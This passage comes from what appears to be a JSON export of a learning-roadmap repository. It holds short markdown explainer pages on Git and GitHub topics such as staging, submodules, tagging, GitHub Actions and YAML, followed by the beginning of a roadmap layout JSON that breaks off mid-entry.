    "content": "# Staging Area\n\nIn Git, a staging area serves as an intermediate step between your local repository changes and the actual commit.\n\n- Temporary storage: The staging area holds changes that are intended to be part of the next commit.\n- Previewing changes: It allows you to preview your changes before committing them.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started - What is Git? - Staging Area](https://git-scm.com/book/en/v2/Getting-Started-What-is-Git%3F#:~:text=The%20staging%20area%20is%20a,area%E2%80%9D%20works%20just%20as%20well.)\n- [@video@What are Staged Changes in Git?](https://www.youtube.com/watch?v=HyeNfWZBut8)\n- [@course@Staging Area (Interactive Lesson)](https://inter-git.com/lessons/adding-files-to-index)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/static-site-generators@iwfNYDlAgbA_rpWYcoHCC.md",
    "content": "# Static Site Generators\n\nGitHub offers a set of static site generators (SSGs) that allow users to create and deploy websites directly from their GitHub repositories. These SSGs include `Jekyll`, `Hugo`, and `Middleman`, among others. They provide a simple way to build websites without the need for manual configuration or maintenance.\n\nVisit the following resources to learn more:\n\n- [@official@Static Site Generators](https://github.com/collections/static-site-generators)\n- [@official@About GitHub Pages and Jekyll](https://docs.github.com/en/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/storing-artifacts@alysXC4b1hGi9ZdQ5-40y.md",
    "content": "# Storing Artifacts\n\nGitHub provides a feature for storing artifacts, which allows you to upload build outputs or other files as part of your workflow.\n\n- Artifacts: These are files generated by a job, such as compiled binaries, test reports, or logs. They can be used to validate the results of a build or deployment.\n- Referenceable storage: Artifacts are stored in a referenceable way, making it easy to access and use them in future builds.\n\nVisit the following resources to learn more:\n\n- [@official@Storing and sharing data from a workflow](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/storing-and-sharing-data-from-a-workflow)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/student-developer-pack@XRSVRl6iHncMmgSXoB7Lq.md",
    "content": "# Student Developer Pack\n\nThe GitHub Student Developer Pack is a collection of developer tools and resources that are offered free or at a discounted price to students through the GitHub Education program. This pack includes access to GitHub, GitHub Desktop, GitHub Classroom, GitHub Student Developer Kit, and other benefits. By using the Student Developer Pack, students can gain hands-on experience with professional developer tools, while also getting access to a wide range of educational resources.\n\nVisit the following resource to learn more:\n\n- [@official@Apply to GitHub Education as a student](https://docs.github.com/en/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/apply-to-github-education-as-a-student)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/submodules@fjAFNjNNbPOzme9Uk_fDV.md",
    "content": "# Submodules\n\nIn Git, submodules allow you to include another repository within a project. This feature enables the management of external dependencies as part of the main project.\n\n- Including external repositories: Submodules can be used to include other Git repositories within your project.\n- Managing dependencies: They provide a way to manage and track changes in external dependencies.\n\nVisit the following resources to learn more:\n\n- [@official@Git Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules)\n- [@article@Git Submodules Tutorial](https://www.atlassian.com/git/tutorials/git-submodule)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/tagging@iFJBF-EEnLjQVsFSXjo_i.md",
    "content": "# Tagging\n\nIn Git, tags are used to identify specific points in a repository's history as being important. This feature allows developers to mark release points or milestones.\n\n- Marking release points: Tags are typically used to mark release versions (e.g., v1.0, v2.0) of a project.\n- Types of tags: There are different types of tags, including lightweight and annotated tags.\n\nVisit the following resources to learn more:\n\n- [@official@Git Basics - Tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/teams-within-organization@wydgCxR5VnieBpRolXt8i.md",
    "content": "# Teams within Organization\n\nGitHub Organizations allow you to create teams within your organization, which helps in organizing members based on their roles and responsibilities.\n\n- Grouping: Team members can be grouped together according to the company or group's structure.\n- Access permissions: Access permissions can be cascaded from one team member to another.\n- Mentions: Team mentions allow for easy referencing of specific teams in repository discussions.\n\nVisit the following resources to learn more:\n\n- [@official@Organizing Members into Teams](https://docs.github.com/en/organizations/organizing-members-into-teams)\n- [@article@Best Practices for Organizations and Teams using GitHub Enterprise Cloud](https://github.blog/enterprise-software/devops/best-practices-for-organizations-and-teams-using-github-enterprise-cloud/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/undoing-changes@0Yi4cryT2v2SGBjouOas3.md",
    "content": "# Undoing Changes\n\nIf mistakes or unwanted changes have been committed to your Git repository, there are ways to correct them. Two common methods for reverting changes include:\n\n- Git Reset: Resets the branch to a previous commit.\n- Git Revert: Creates a new commit that reverts specified changes.\n\nVisit the following resources to learn more:\n\n- [@official@Undoing Changes](https://git-scm.com/book/en/v2/Git-Tools-Reset-Demystified)\n- [@article@Undo Anything in Git](https://github.blog/open-source/git/how-to-undo-almost-anything-with-git/)\n- [@article@Undoing Changes in Git](https://www.atlassian.com/git/tutorials/undoing-changes)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/unstaged-changes@uxqJzQFRcALqatNRIWR0w.md",
    "content": "# Unstaged Changes\n\nFor changes that are not yet staged with `git add`, such as untracked new files or modified existing ones , use `git diff`. This command compares your working directory (your current changes) against the staging area (changes already staged with `git add`). It’s a useful tool for reviewing local modifications before deciding whether to stage them for future commits.\n\nThe `--unified` option (or -U) controls the number of context lines shown in the diff output. By default, Git shows 3 lines of context around each change. For example, `git diff --unified=5` will display 5 lines of context around each change, making it easier to understand the surrounding code or content.\n\n- [@article@What are unstaged changes in GitHub?](https://stackoverflow.com/questions/10954329/whats-the-unstaged-changes-in-github)\n- [@article@How to unstage files in Git](https://www.git-tower.com/learn/git/faq/git-unstage)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/use-in-automation@Y0EWgPsS4kZxH3y53jNxY.md",
    "content": "# Use in Automation\n\nGitHub CLI is a powerful tool for automating GitHub-related tasks directly from the command line. It enables developers to streamline workflows and integrate GitHub processes into scripts and automated systems.\n\nKey uses in automation:\n\n1. CI/CD: Automate PR creation, review, merging, and release management\n2. Issue and Project Management: Create, update, and close issues; manage project boards\n3. Repository Management: Clone repos, create forks, manage settings and collaborators\n4. GitHub Actions Integration: Trigger and monitor workflows, manage secrets\n5. Scripting and Batch Operations: Perform bulk actions across multiple repositories\n\nTo use GitHub CLI in automation:\n\n1. Install GitHub CLI\n2. Authenticate with your GitHub account\n3. Learn basic commands and syntax\n4. Integrate CLI commands into scripts or automation tools\n\nLearn more from the following resources:\n\n- [@official@GitHub CLI documentation](https://cli.github.com/manual/)\n- [@article@Automating your workflow with GitHub CLI](https://github.blog/2021-03-11-scripting-with-github-cli/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/usecases@PUnYNBrAZWoZiopjtNgnA.md",
    "content": "# Usecases\n\nGitHub Actions offer a wide range of automation possibilities for your development workflow. Here are some common use cases:\n\n1. Continuous Integration (CI): Automatically build and test your code on every push or pull request.\n2. Continuous Deployment (CD): Automatically deploy your application to various environments after successful builds.\n3. Code Quality Checks: Run linters, formatters, and other code quality tools automatically.\n4. Dependency Updates: Automatically create pull requests for outdated dependencies.\n5. Issue and PR Management: Automatically label, assign, or close issues and pull requests based on certain conditions.\n6. Scheduled Tasks: Run periodic maintenance tasks, backups, or data processing jobs.\n7. Security Scanning: Perform automated security checks on your codebase and dependencies.\n8. Documentation Generation: Automatically generate and publish documentation for your project.\n9. Cross-platform Testing: Test your code on multiple operating systems and environments simultaneously.\n10. Release Management: Automate the creation of release notes and asset uploads for new versions.\n\nLearn more from the following resources:\n\n- [@official@GitHub Actions Documentation](https://docs.github.com/en/actions)\n- [@youtube@How GitHub Actions 10x my productivity](https://www.youtube.com/watch?v=yfBtjLxn_6k)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/viewing-commit-history@IfUm5D_zNaUKMd4HX4Fi4.md",
    "content": "# Viewing Commit History\n\nViewing commit history is a crucial aspect of Git, allowing users to examine the chronological record of repository changes. This feature is essential for understanding project evolution, tracking modifications, and facilitating effective team collaboration. Git provides various commands like `git log` and its options (e.g., `--oneline`, `--graph`, `--patch`, `--stat`) to display commit history in different formats. Users can filter commits by author, date range, and other criteria. By regularly reviewing commit history and following best practices such as writing clear commit messages and using tags, developers can gain valuable insights into their project's development and make informed decisions about future changes.\n\nVisit the following resources to learn more:\n\n- [@official@Git Basics - Viewing the Commit History](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History)\n- [@article@How to Use Git Log to View Commit History](https://www.freecodecamp.org/news/git-log-command/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/viewing-diffs@-0zQvCHG8jS_ghSjmTeIx.md",
    "content": "# Viewing Diffs\n\nViewing diffs in Git is crucial for understanding the changes made to your code. This is especially important when collaborating with others or reviewing your own work over time. Diffs show you exactly what lines have been added, modified, or removed between different versions of your files. This feature helps in code review processes, troubleshooting issues, and maintaining a clear history of your project's evolution. Git provides various commands and tools to view these differences, making it easier to track and manage changes effectively.\n\nVisit the following resources to learn more:\n\n- [@official@Git Diff Documentation](https://git-scm.com/docs/git-diff)\n- [@article@Git Diff](https://www.atlassian.com/git/tutorials/saving-changes/git-diff)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/webhooks@MoG7D9kqPuA6o52-z_WDN.md",
    "content": "# Webhooks\n\nGitHub Webhooks allow developers to receive real-time notifications about events happening within their repository, such as commits, pull requests, and issues. These webhooks enable users to automate tasks, integrate with other services, and build custom workflows.\n\nVisit the following resources to learn more:\n\n- [@official@About webhooks](https://docs.github.com/en/webhooks/about-webhooks)\n- [@official@Webhooks documentation](https://docs.github.com/en/webhooks)\n- [@video@How to use GitHub Webhooks with Discord](https://www.youtube.com/watch?v=-gyEHj0CVx0&)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/what-and-why-use@d0-u_-_vtPK8tnUpnj_NB.md",
    "content": "# What and Why use?\n\nGit submodules are a feature that allows you to include one Git repository within another. They are useful for managing external dependencies or shared components across projects.\n\n## Key points\n\n1. Separate repositories with independent histories\n2. Parent repository tracks specific submodule commits\n3. Enables code reuse and modular project structure\n4. Helps manage dependencies and keep main repository focused\n5. Facilitates collaboration on complex projects\n\n## Benefits\n\n- Including third-party libraries\n- Sharing common code\n- Managing multi-component projects\n- Keeping main repository lightweight\n\nNote: While powerful, submodules can add complexity to your workflow, so careful consideration is needed before implementation.\n\nLearn more from the following resources:\n\n- [@article@Git Submodules: Core Concept, Workflows, and Tips](https://www.atlassian.com/git/tutorials/git-submodule)\n- [@video@Git Submodules Tutorial](https://www.youtube.com/watch?v=gSlXo2iLBro)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/what-and-why@v7uabKuMQPOD_hBIaHOVT.md",
    "content": "# What and Why?\n\nGit hooks are customizable scripts that Git executes automatically before or after specific events, such as committing, pushing, or merging. These hooks allow developers to automate tasks, enforce coding standards, run tests, or perform other actions at crucial points in the Git workflow. By leveraging git hooks, teams can enhance their development process, maintain code quality, and ensure consistency across projects. Hooks can be implemented locally or shared among team members, providing a powerful mechanism for streamlining workflows and enforcing best practices throughout the development lifecycle.\n\nLearn more from the following resources:\n\n- [@article@Git Hooks](https://www.atlassian.com/git/tutorials/git-hooks)\n- [@video@What are Git Hooks?](https://www.youtube.com/watch?v=1OFiiPretCM)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/what-are-these@Ni3HKVLanFvSrJ3u8i5I1.md",
    "content": "# What are these?\n\nGitHub Actions is a powerful automation and continuous integration/continuous deployment (CI/CD) platform provided by GitHub. It allows developers to create custom workflows that automatically build, test, and deploy their code directly from their GitHub repositories. These workflows are triggered by specific events, such as push requests, pull requests, or scheduled tasks. GitHub Actions enables teams to streamline their development processes, improve code quality, and accelerate software delivery by automating repetitive tasks and integrating various tools and services seamlessly within their development pipeline.\n\nLearn more from the following resources:\n\n- [@article@Understanding GitHub Actions](https://docs.github.com/en/actions/learn-github-actions/understanding-github-actions)\n- [@video@GitHub Actions Tutorial - Basic Concepts and CI/CD Pipeline with Docker](https://www.youtube.com/watch?v=R8_veQiYBjI)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/what-is-a-repository@PtU5Qwfzn3N1i3oRlCGoR.md",
    "content": "# What is a Repository\n\nA repository is a storage location for your project's code, documentation, and other files. It serves as a central hub for collaboration, version control, and code management. It allows multiple people to work on the same project without overwriting each other's work.\n\nLearn more from the following resources:\n\n- [@article@About repositories](https://docs.github.com/en/repositories/creating-and-managing-repositories/about-repositories)\n- [@article@What is a repository?](https://www.gitkraken.com/learn/git/tutorials/what-is-a-git-repository)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/what-is-version-control@bY6b1GV2XQQ52NOx8gWFj.md",
    "content": "# What is Version Control?\n\nVersion control is a system that manages and tracks changes to files over time, allowing multiple people to collaborate on a project while maintaining a history of all modifications. It records changes to files, such as code, documents, or configuration files, and stores them in a repository. With version control, developers can revert to previous versions, compare differences between versions, and understand the evolution of a project. It supports features like branching, where different lines of development can occur independently, and merging, which combines changes from different branches. Overall, version control ensures that changes are organized, recoverable, and easily managed, making it a critical tool in software development and collaborative projects.\n\nLearn more from the following resources:\n\n- [@video@What is Git? Explained in 2 minutes](https://www.youtube.com/watch?v=2ReR1YJrNOM)\n- [@article@What is version control?](https://www.atlassian.com/git/tutorials/what-is-version-control)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/why-use-version-control@dhIx1GnynvbSUriqYLUt0.md",
    "content": "# Why use Version Control?\n\nUsing version control is essential for managing changes in software development, as it enables tracking of modifications, collaboration, and maintaining a history of your project. It allows multiple developers to work on the same codebase simultaneously without overwriting each other's work, providing a clear record of who made changes and why. Version control systems facilitate rollback to previous versions if issues arise, and they support branching and merging, which are crucial for experimenting with new features and managing different stages of development. Overall, version control ensures code quality, accountability, and efficient collaboration in projects.\n\nLearn more from the following resources:\n\n- [@article@Benefits of using version control](https://www.techrepublic.com/article/version-control-benefits/)\n- [@article@What is version control and why is it important?](https://start.docuware.com/blog/document-management/what-is-version-control-why-is-it-important)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/workflow-context@BnPiTu1Jw2kIW560a2A5T.md",
    "content": "# Workflow Context\n\nWorkflow context in GitHub Actions refers to the environment and variables that are available to a workflow. It includes information about the workflow's execution, such as the event that triggered it, the repository, and the workflow itself.\n\nLearn more from the following resources:\n\n- [@official@GitHub Actions Contexts](https://docs.github.com/en/actions/concepts/workflows-and-actions/contexts)\n- [@official@GitHub Actions Contexts Example](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/contexts)\n- [@video@Working with contexts in GitHub Actions](https://www.youtube.com/watch?v=16WT_r0zjYE)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/workflow-runners@6QwlY3dEvjfAOPALcWKXQ.md",
    "content": "# Workflow Runners\n\nWorkflow runners are the environments where GitHub Actions workflows are executed. They are hosted on GitHub-hosted virtual machines (GHVMs) or self-hosted runners. Each runner has a specific configuration and capabilities, depending on its type.\n\nLearn more from the following resources:\n\n- [@official@GitHub Actions Runners](https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners)\n- [@video@GitHub Actions Self-hosted runners](https://www.youtube.com/watch?v=aLHyPZO0Fy0)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/workflow-status@jc4R1zhd1YeCEbVuxwJWy.md",
    "content": "# Workflow Status\n\nWorkflow status in GitHub Actions refers to the current state of a workflow run. It can be one of the following:\n\n- Pending: The workflow is waiting for an event to trigger it.\n- In Progress: The workflow is currently running.\n- Completed: The workflow has finished running.\n- Failed: The workflow has failed due to an error.\n\nLearn more from the following resources:\n\n- [@article@Adding a workflow status badge to your repository](https://docs.github.com/en/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/adding-a-workflow-status-badge)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/workflow-triggers@55uHPFNwYPVZx8Cy3c985.md",
    "content": "# Workflow Triggers\n\nWorkflow triggers are events that initiate a GitHub Actions workflow. They can be scheduled, triggered by code changes, or manually initiated. This allows for automation of tasks based on specific conditions.\n\nLearn more from the following resources:\n\n- [@official@GitHub Actions Documentation](https://docs.github.com/en/actions)\n- [@official@GitHub Actions Triggers](https://docs.github.com/en/actions/reference/events-that-trigger-workflows)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/working-directory@Sv36oxTZwlUv-i1K28NeP.md",
    "content": "# Working Directory\n\nA working directory in Git is the local environment where files are stored and modified as part of a project. It reflects the current state of the project's files, allowing developers to edit, add, or delete files. Changes made in the working directory can be staged for commit, which means they're prepared for inclusion in the next commit. The working directory is connected to the Git repository, and it helps manage the differences between the committed history and the current state of the files. It plays a central role in tracking changes, testing, and developing new features.\n\nLearn more from the following resources:\n\n- [@article@Git vs Working Directory](https://codesweetly.com/git-vs-working-directory/)\n- [@article@Your Working Directory (Interactive Lesson)](https://inter-git.com/lessons/creating-repository)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/working-in-a-team@yMx3LdadPz4g25CL3N8da.md",
    "content": "# Working in a Team\n\nWorking in a team on GitHub involves collaborative development using Git's distributed version control system. Team members can work on separate branches, create pull requests for code reviews, and merge changes into the main codebase. GitHub's features like issues, projects, and discussions facilitate communication and project management. Effective teamwork on GitHub requires clear communication, adherence to agreed-upon workflows, and proper use of Git commands to manage code changes and resolve conflicts. This collaborative approach enables teams to work efficiently on complex projects, maintain code quality, and track progress effectively.\n\nGitHub also offers an organization and team management interface, allowing teams to manage projects, members, and collaboration settings.\n\nLearn more from the following resources:\n\n- [@official@Getting Started with Teams](https://docs.github.com/en/get-started/onboarding/getting-started-with-github-team)\n- [@official@GitHub Team Docs](https://docs.github.com/organizations/organizing-members-into-teams/about-teams)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/yaml-syntax@p6rq3lQ9YRrTqwcc31O23.md",
    "content": "# YAML Syntax\n\nYAML (YAML Ain't Markup Language) is a human-readable data serialization standard for all programming languages. It is designed to be easily readable by humans while also being machine-parsable. Key features of YAML include:\n\n1. Simplicity: YAML uses a minimalist syntax with significant whitespace and indentation.\n\n2. Versatility: It can represent various data types, including scalars, lists, and associative arrays.\n\n3. Readability: Its clear, concise format makes it easy for both humans and machines to understand.\n\n4. Language-independent: YAML can be used with any programming language that has a YAML parser.\n\nYAML is commonly used for:\n\n- Configuration files: Many applications and tools use YAML for their configuration settings.\n- Data exchange: It serves as a lightweight alternative to XML or JSON for data transfer between systems.\n- Data storage: YAML can be used to store structured data in a human-readable format.\n- DevOps and CI/CD: It's widely used in tools like Docker, Kubernetes, and various CI/CD platforms for defining workflows and configurations.\n\nUnderstanding YAML syntax is crucial for working with modern development tools, especially in the realms of DevOps, cloud computing, and containerization.\n\nLearn more from the following resources:\n\n- [@official@YAML](https://yaml.org/)\n- [@article@YAML Cheatsheet](https://cheatsheets.zip/yaml)\n- [@article@What is YAML?](https://circleci.com/blog/what-is-yaml-a-beginner-s-guide/)\n- [@article@YAML Tutorial : A Complete Language Guide with Examples](https://spacelift.io/blog/yaml)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/git-github/git-github-beginner.json",
    "content": "{\"nodes\":[{\"id\":\"kZoyMp6hlBhEmEtP4Ugel\",\"type\":\"vertical\",\"position\":{\"x\":718.8760409943199,\"y\":1209.6899404988976},\"selected\":true,\"data\":{\"label\":\"vertical node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2B78E4\"}},\"zIndex\":999,\"width\":20,\"height\":75,\"style\":{\"width\":20,\"height\":75},\"positionAbsolute\":{\"x\":718.8760409943199,\"y\":1209.6899404988976},\"dragging\":false,\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"id\":\"Ff_okqpDHAoGg4ZOyHxyQ\",\"type\":\"horizontal\",\"position\":{\"x\":568.2094217148975,\"y\":784.448933004529},\"selected\":true,\"data\":{\"label\":\"horizontal node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2B78E4\"},\"oldId\":\"j3huHc7cI7XZsXWx7EnLd\"},\"zIndex\":999,\"width\":84,\"height\":20,\"style\":{\"width\":84,\"height\":20},\"positionAbsolute\":{\"x\":568.2094217148975,\"y\":784.448933004529},\"dragging\":false,\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"ndgDElXOfvoSQfX9m327n\",\"type\":\"horizontal\",\"position\":{\"x\":820.4807890856271,\"y\":643.348933004529},\"selected\":true,\"data\":{\"label\":\"horizontal node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2B78E4\"}},\"zIndex\":999,\"width\":76,\"height\":20,\"style\":{\"width\":76,\"height\":20},\"resizing\":false,\"positionAbsolute\":{\"x\":820.4807890856271,\"y\":643.348933004529},\"dragging\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"S7HjbouTnYhMlJ763X3Cy\",\"type\":\"section\",\"position\":{\"x\":896.5316934344742,\"y\":286.84893300452893},\"selected\":true,\"data\":{\"label\":\"\",\"style\":{\"width\":150,\"height\":100,\"fontSize\":17,\"backgroundColor\":\"#ffffff\",\"borderColor\":\"#000000\"}},\"zIndex\":-999,\"width\":369,\"height\":219,\"style\":{\"width\":369,\"height\":219},\"resizing\":false,\"dragging\":false,\"positionAbsolute\":{\"x\":896.5316934344742,\"y\":286.84893300452893},\"selectable\":true,\"focusable\":true},{\"id\":\"5Z9o-b3vBA-ITFg86zzYM\",\"type\":\"title\",\"position\":{\"x\":614.8760409943199,\"y\":166.2553633125035},\"selected\":true,\"data\":{\"label\":\"Git and GitHub\",\"style\":{\"fontSize\":28,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"}},\"zIndex\":999,\"width\":227,\"height\":68,\"style\":{},\"positionAbsolute\":{\"x\":614.8760409943199,\"y\":166.2553633125035},\"dragging\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"XgM_I974PlXAu4AbeqHX1\",\"type\":\"vertical\",\"position\":{\"x\":718.3760409943199,\"y\":93.2553633125035},\"selected\":true,\"data\":{\"label\":\"vertical node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2B78E4\"}},\"zIndex\":999,\"width\":20,\"height\":73,\"style\":{\"width\":20,\"height\":73},\"resizing\":false,\"positionAbsolute\":{\"x\":718.3760409943199,\"y\":93.2553633125035},\"dragging\":false,\"focusable\":true,\"selectable\":true},{\"id\":\"yHmHXymPNWwu8p1vvqD3o\",\"type\":\"paragraph\",\"position\":{\"x\":909.4971847919508,\"y\":83.84893300452893},\"selected\":true,\"data\":{\"label\":\"Find the detailed version of this roadmap along with other similar roadmaps\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"borderColor\":\"#000000\",\"backgroundColor\":\"#FFFFFf\"}},\"zIndex\":999,\"width\":353,\"height\":142,\"positionAbsolute\":{\"x\":909.4971847919508,\"y\":83.84893300452893},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"style\":{\"width\":353,\"height\":142},\"resizing\":false},{\"id\":\"2zqZkyVgigifcRS1H7F_b\",\"type\":\"button\",\"position\":{\"x\":921.7005592047509,\"y\":165.8344964222742},\"selected\":true,\"data\":{\"label\":\"roadmap.sh\",\"href\":\"https://roadmap.sh\",\"color\":\"#ffffff\",\"backgroundColor\":\"#4136D6\",\"style\":{\"fontSize\":17}},\"zIndex\":999,\"width\":329,\"height\":49,\"dragging\":false,\"style\":{\"width\":329,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":921.7005592047509,\"y\":165.8344964222742},\"selectable\":true,\"focusable\":true},{\"id\":\"HlUUGj3dOZ68t4gIjerXh\",\"type\":\"topic\",\"position\":{\"x\":640.3760409943199,\"y\":371.84893300452893},\"selected\":true,\"data\":{\"label\":\"Learn the Basics\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"}},\"zIndex\":999,\"width\":176,\"height\":50,\"positionAbsolute\":{\"x\":640.3760409943199,\"y\":371.84893300452893},\"selectable\":true,\"focusable\":true,\"dragging\":false,\"style\":{\"width\":176,\"height\":50},\"resizing\":false},{\"id\":\"PtU5Qwfzn3N1i3oRlCGoR\",\"type\":\"topic\",\"position\":{\"x\":640.3760409943199,\"y\":505.34893300452893},\"selected\":true,\"data\":{\"label\":\"Basic Git Usage\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"bXfCUG3h1TIFPgD4WUDph\"},\"zIndex\":999,\"width\":176,\"height\":49,\"style\":{\"width\":176,\"height\":49},\"positionAbsolute\":{\"x\":640.3760409943199,\"y\":505.34893300452893},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"resizing\":false},{\"id\":\"bXfCUG3h1TIFPgD4WUDph\",\"type\":\"topic\",\"position\":{\"x\":640.3760409943199,\"y\":628.848933004529},\"selected\":true,\"data\":{\"label\":\"Collaboration\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"}},\"zIndex\":999,\"width\":176,\"height\":49,\"style\":{\"width\":176,\"height\":49},\"positionAbsolute\":{\"x\":640.3760409943199,\"y\":628.848933004529},\"dragging\":false,\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"JN1S4v1vCH6o_1FGxLu6i\",\"type\":\"paragraph\",\"position\":{\"x\":209.37471641744668,\"y\":88.38682211276446},\"selected\":true,\"data\":{\"label\":\"This version is designed for beginners. Make sure to visit the detailed version\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"borderColor\":\"#000000\",\"backgroundColor\":\"#FFFFFf\"},\"oldId\":\"yHmHXymPNWwu8p1vvqD3o\"},\"zIndex\":999,\"width\":354,\"height\":143,\"positionAbsolute\":{\"x\":209.37471641744668,\"y\":88.38682211276446},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"style\":{\"width\":354,\"height\":143},\"resizing\":false},{\"id\":\"MfErpYwkJ0wiWJZEUVfrb\",\"type\":\"button\",\"position\":{\"x\":223.7266137420417,\"y\":167.9386373305844},\"selected\":true,\"data\":{\"label\":\"Visit the Detailed Version\",\"href\":\"/git-github\",\"color\":\"#ffffff\",\"backgroundColor\":\"#232323\",\"style\":{\"fontSize\":17},\"oldId\":\"2zqZkyVgigifcRS1H7F_b\"},\"zIndex\":999,\"width\":328,\"height\":49,\"dragging\":false,\"style\":{\"width\":328,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":223.7266137420417,\"y\":167.9386373305844},\"selectable\":true,\"focusable\":true},{\"id\":\"6VtvCuJz7YTSPbTP6pyq_\",\"type\":\"section\",\"position\":{\"x\":206.20942171489753,\"y\":288.84893300452893},\"selected\":true,\"data\":{\"label\":\"\",\"style\":{\"width\":150,\"height\":100,\"fontSize\":17,\"backgroundColor\":\"#ffffff\",\"borderColor\":\"#000000\"},\"oldId\":\"S7HjbouTnYhMlJ763X3Cy\"},\"zIndex\":-999,\"width\":362,\"height\":392,\"style\":{\"width\":362,\"height\":392},\"resizing\":false,\"dragging\":false,\"positionAbsolute\":{\"x\":206.20942171489753,\"y\":288.84893300452893},\"selectable\":true,\"focusable\":true},{\"id\":\"qVsb2HzA7K66lUM5KzEBD\",\"type\":\"label\",\"position\":{\"x\":916,\"y\":304.84893300452893},\"selected\":true,\"data\":{\"label\":\"Learn the \\\"What\\\" and Why\\\"\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17,\"color\":\"#0008FF\"}},\"zIndex\":999,\"width\":222,\"height\":36,\"style\":{},\"positionAbsolute\":{\"x\":916,\"y\":304.84893300452893},\"dragging\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"Scl5hHAl-ajRlJu3LDN6F\",\"type\":\"label\",\"position\":{\"x\":226.53169343447416,\"y\":302.84893300452893},\"selected\":true,\"data\":{\"label\":\"Learn the basic git commands\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17,\"color\":\"#0008FF\"},\"oldId\":\"qVsb2HzA7K66lUM5KzEBD\"},\"zIndex\":999,\"width\":248,\"height\":36,\"style\":{},\"positionAbsolute\":{\"x\":226.53169343447416,\"y\":302.84893300452893},\"dragging\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"3CYgyNOBsUn4cdBZKaoFE\",\"type\":\"label\",\"position\":{\"x\":226.53169343447416,\"y\":547.848933004529},\"selected\":true,\"data\":{\"label\":\"Using Git with 